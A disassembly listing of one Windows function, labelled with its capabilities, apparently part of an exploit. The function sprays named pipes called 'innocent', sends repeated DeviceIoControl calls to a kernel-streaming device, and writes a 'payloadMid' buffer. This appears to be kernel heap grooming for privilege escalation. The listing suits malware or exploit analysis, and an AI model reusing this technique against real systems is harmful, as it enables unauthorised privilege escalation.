Function at 0x14001110e
Capabilities:
Create pipe
Write file on windows
Write pipe

Disassembly:
jmp 0x140012c80
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2b8]
mov rax, qword [0x140020038]
xor rax, rbp
mov qword [rbp + 0x240], rax
lea rcx, [0x1400260a7]
call fcn.140011406
cmp dword [rbp + 0x298], 0
je 0x140012d71
mov rax, qword [rbp + 0x280]
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x288]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x24], 0x2000
mov dword [rbp + 0x84], 0
jmp 0x140012d23
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0x1000
jge 0x140012d5b
movsxd rax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x48]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x68]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140012d15
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
jmp 0x140012d78
mov dword [rbp + 0x24], 0x1000
movsxd rax, dword [rbp + 0x24]
mov qword [rbp + 0x238], rax
mov eax, 8
mov rcx, qword [rbp + 0x238]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xa8], rax
movsxd rax, dword [rbp + 0x24]
mov qword [rbp + 0x238], rax
mov eax, 8
mov rcx, qword [rbp + 0x238]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xc8], rax
mov ecx, 0x100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
movabs rcx, 0x4fac41982f2c8ddd
mov qword [rax], rcx
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xe8]
movabs rdx, 0x6deb705bb6129ba
mov qword [rcx + rax], rdx
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0xe8]
movabs rdx, 0x200000000
mov qword [rcx + rax], rdx
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0xe8]
mov qword [rcx + rax], 0
mov eax, 8
imul rax, rax, 4
mov rcx, qword [rbp + 0xe8]
mov qword [rcx + rax], 0
mov dword [rbp + 0x104], 0
jmp 0x140012e8e
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x104], eax
jge 0x140013066
cmp dword [rbp + 0x298], 0
je 0x140012ed6
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0xa8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0xc8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov eax, dword [rbp + 0x270]
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x270]
mov dword [rsp + 0x20], eax
mov r9d, 0xff
xor r8d, r8d
mov edx, 3
lea rcx, str..pipeinnocent
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
movsxd rcx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0xa8]
mov qword [rdx + rcx*8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str.__rootsystem00003c0d501a_140b_11d1_b40f_00a0c922319696e080c7_143c_11d1_b40f_00a0c92231963c0d501a_140b_11d1_b40f_00a0c9223196
call qword [sym.imp.KERNEL32.dll_CreateFileA]
movsxd rcx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0x290]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x104]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x100
mov r8, qword [rbp + 0xe8]
mov edx, 0x2f0400
mov rcx, qword [rbp + 0x290]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str..pipeinnocent
call qword [sym.imp.KERNEL32.dll_CreateFileW]
movsxd rcx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0xc8]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x104]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, dword [rbp + 0x270]
mov rdx, qword [rbp + 0x278]
mov rcx, qword [rbp + 0xc8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
jne 0x140013061
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_writeFile_payloadMid__d
call fcn.1400111c7
mov eax, 0xffffffff
jmp 0x14001318c
jmp 0x140012e80
mov dword [rbp + 0x144], 0
jmp 0x140013081
mov eax, dword [rbp + 0x144]
add eax, 4
mov dword [rbp + 0x144], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x144], eax
jge 0x1400130a6
movsxd rax, dword [rbp + 0x144]
mov rcx, qword [rbp + 0x290]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140013072
mov dword [rbp + 0x164], 0
jmp 0x1400130c1
mov eax, dword [rbp + 0x164]
add eax, 4
mov dword [rbp + 0x164], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x164], eax
jge 0x140013168
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str.__rootsystem00003c0d501a_140b_11d1_b40f_00a0c922319696e080c7_143c_11d1_b40f_00a0c92231963c0d501a_140b_11d1_b40f_00a0c9223196
call qword [sym.imp.KERNEL32.dll_CreateFileA]
movsxd rcx, dword [rbp + 0x164]
mov rdx, qword [rbp + 0x290]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x164]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x100
mov r8, qword [rbp + 0xe8]
mov edx, 0x2f0400
mov rcx, qword [rbp + 0x290]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x1400130b2
mov rax, qword [rbp + 0x280]
mov rcx, qword [rbp + 0xa8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x288]
mov rcx, qword [rbp + 0xc8]
mov qword [rax], rcx
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001cd00]
call fcn.14001137a
mov rax, rdi
mov rcx, qword [rbp + 0x240]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret